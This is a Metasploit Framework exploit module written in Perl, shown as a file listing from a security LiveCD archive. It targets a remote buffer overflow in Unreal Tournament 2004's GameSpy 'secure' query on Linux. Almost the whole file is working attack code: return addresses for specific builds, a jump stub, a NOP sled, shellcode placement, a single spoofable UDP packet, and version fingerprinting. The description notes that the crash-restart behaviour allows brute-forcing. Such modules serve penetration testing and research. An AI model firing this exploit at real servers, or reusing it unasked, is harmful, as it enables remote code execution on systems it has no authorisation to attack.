home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / ut2004_secure_linux.pm < prev    next >
Text File  |  2006-06-30  |  6KB  |  214 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::ut2004_secure_linux;
  10. use base "Msf::Exploit";
  11. use strict;
  12.  
  13. my $advanced = { };
  14. my $info =
  15.   {
  16.     'Name'    => 'Unreal Tournament 2004 "secure" Overflow (Linux)',
  17.     'Version' => '$Revision: 1.11 $',
  18.     'Authors' => [ 'onetwo', ],
  19.  
  20.     'Arch'  => [ 'x86' ],
  21.     'OS'    => [ 'linux' ],
  22.     'Priv'  => 1,
  23.  
  24.     'UserOpts'  =>
  25.       {
  26.         'RHOST' => [1, 'ADDR', 'The target address'],
  27.         'RPORT' => [1, 'PORT', 'The target port', 7787],
  28.       },
  29.  
  30.     'Payload' =>
  31.       {
  32.         'Space'     => 512,
  33.         'BadChars'  => "\x5c\x00",
  34.       },
  35.  
  36.     'Description'  =>  qq{
  37.       This is an exploit for the GameSpy secure query in the Unreal Engine.
  38.  
  39.       This exploit only requires one UDP packet, which can be both spoofed
  40.       and sent to a broadcast address. Usually, the GameSpy query server listens
  41.       on port 7787, but you can manually specify the port as well.
  42.  
  43.       The RunServer.sh script will automatically restart the server upon a crash, giving
  44.       us the ability to bruteforce the service and exploit it multiple
  45.       times. 
  46. },
  47.  
  48.     'Refs'  =>
  49.       [
  50.         ['OSVDB', '7217'],
  51.         ['BID', '10570'],
  52.         ['MIL', '72'],
  53.       ],
  54.  
  55.     'DefaultTarget' => 0,
  56.     'Targets' =>
  57.       [
  58.         ['UT2004 Linux Build Autodetect'],
  59.         ['UT2004 Linux Build 3120', 0x0884a33b, 0x08963460], #JMP ESP , (free/realloc) BSS pointer
  60.         ['UT2004 Linux Build 3186', 0x088c632f, 0x089eb2f0],
  61.       ],
  62.  
  63.     'Keys'  => ['unreal2004'],
  64.  
  65.     'DisclosureDate' => 'Jun 18 2004',
  66.   };
  67.  
  68. sub new {
  69.     my $class = shift;
  70.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  71.     return($self);
  72. }
  73.  
  74. sub Exploit {
  75.     my $self = shift;
  76.     my $target_host = $self->GetVar('RHOST');
  77.     my $target_port = $self->GetVar('RPORT');
  78.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  79.     my $target_idx  = $self->GetVar('TARGET');
  80.     my $target      = $self->Targets->[$target_idx];
  81.  
  82.     if (! $self->InitNops(128)) {
  83.         $self->PrintLine("[*] Failed to initialize the nop module.");
  84.         return;
  85.     }
  86.  
  87.     my $request = $self->MakeNops(1024);
  88.  
  89.     if($target_idx == 0) # Autodetect and adjust payload accordingly...
  90.     {
  91.         my $versionNum = $self->GetVersion($target_host, $target_port);
  92.  
  93.         if(! $versionNum) {
  94.             $self->PrintLine('[*] Could not obtain Version from host ' . $target_host . ':' . $target_port);
  95.             $self->PrintLine('[*] Aborting...');
  96.             return;
  97.         }
  98.         elsif($versionNum == 3120) {
  99.             $target = $self->Targets->[1];
  100.         }
  101.         elsif ($versionNum == 3186) {
  102.             $target = $self->Targets->[2];
  103.         }
  104.         elsif ($versionNum == 3204) {
  105.             $target = $self->Targets->[3];
  106.         }
  107.         elsif (! $versionNum ) {
  108.             $self->PrintLine('[*] No response from host');
  109.             $self->PrintLine('[*] Aborting...');
  110.             return;
  111.         }
  112.         else {
  113.             $self->PrintLine('[*] Detected Version ' . $versionNum . ' on host ' . $target_host . ':' . $target_port . "isn't vulnerable to attack");
  114.             $self->PrintLine('[*] Aborting...');
  115.             return;
  116.         }
  117.         $self->PrintLine('[*] Detected Vulnerable Version ' . $versionNum . ' on host ' . $target_host . ':' . $target_port);
  118.         $self->PrintLine('[*] Assembling Payload for version ' . $versionNum);
  119.     }
  120.  
  121.     substr($request, 24, 4, pack('V', $target->[2] ));
  122.     substr($request, 44, 4, pack('V', $target->[1] ));
  123.     substr($request, 56, 4, pack('V', $target->[2] ));
  124.  
  125.     substr($request, 48, 6, "\x8d\x64\x24\x0c\xff\xe4"); #LEA/JMP
  126.     substr($request, 0, length("\\secure\\"), "\\secure\\");
  127.  
  128.     substr($request, length($request) - length($shellcode), length($shellcode), $shellcode);
  129.  
  130.     my $sock = Msf::Socket::Udp->new
  131.       (
  132.         PeerAddr => $target_host,
  133.         PeerPort => $target_port,
  134.       );
  135.  
  136.     if($sock->IsError) {
  137.         $self->PrintLine('[*] Error creating socket: ' . $sock->GetError);
  138.         return;
  139.     }
  140.  
  141.     $self->PrintLine('[*] Sending UDP Secure Request (Dest Port: ' . $target_port . ') (' . length($request) . ' bytes)');
  142.     if(!$sock->Send($request)) {
  143.         $sock->PrintError;
  144.         return;
  145.     }
  146.     sleep(2);
  147.  
  148.     return;
  149. }
  150.  
  151. sub Check
  152. {
  153.     my $self = shift();
  154.     my $target_host = $self->GetVar('RHOST');
  155.     my $target_port = $self->GetVar('RPORT');
  156.     my $versionNum  = $self->GetVersion($target_host, $target_port);
  157.  
  158.     if(! $versionNum) {
  159.         $self->PrintLine("[*] Couldn't detect Unreal Tournament Server at ". $target_host . ':' . $target_port);
  160.         return $self->CheckCode('Generic');
  161.     }
  162.     else {
  163.         $self->PrintLine('[*] Detected Unreal Tournament Server Version: ' . $versionNum . ' at ' . $target_host . ':' . $target_port);
  164.         if ($versionNum =~ /^(3120|3186|3204)$/) {
  165.             $self->PrintLine("[*] The server is more than likely exploitable");
  166.             return $self->CheckCode('Appears');
  167.         }
  168.         elsif ($versionNum =~ /^(2...)$/) {
  169.             $self->PrintLine("[*] The server appears to be running UT2003");
  170.             return $self->CheckCode('Safe');
  171.         }
  172.  
  173.         $self->PrintLine("[*] The server is more than likely patched");
  174.         return $self->CheckCode('Safe');
  175.     }
  176. }
  177.  
  178. sub GetVersion
  179. {
  180.     my $self = shift();
  181.     my $target_host = shift();
  182.     my $target_port = shift();
  183.  
  184.     my $s = Msf::Socket::Udp->new
  185.       (
  186.         PeerAddr => $target_host,
  187.         PeerPort => $target_port,
  188.       );
  189.  
  190.     if($s->IsError()) {
  191.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  192.         return;
  193.     }
  194.  
  195.     $self->PrintLine('[*] Sending UDP Version Request to ' . $target_host . ':' . $target_port);
  196.  
  197.     my $versionRequest = "\\basic\\";
  198.     if(!$s->Send($versionRequest)) {
  199.         $s->PrintError;
  200.         return;
  201.     }
  202.  
  203.     my $versionReply = $s->Recv(-1, 10);
  204.     my $versionNum;
  205.  
  206.     if ($versionReply =~ m/\\gamever\\([0-9]{1,5})/) {
  207.         $versionNum = $1;
  208.     }
  209.  
  210.     return $versionNum;
  211. }
  212.  
  213. 1;
  214.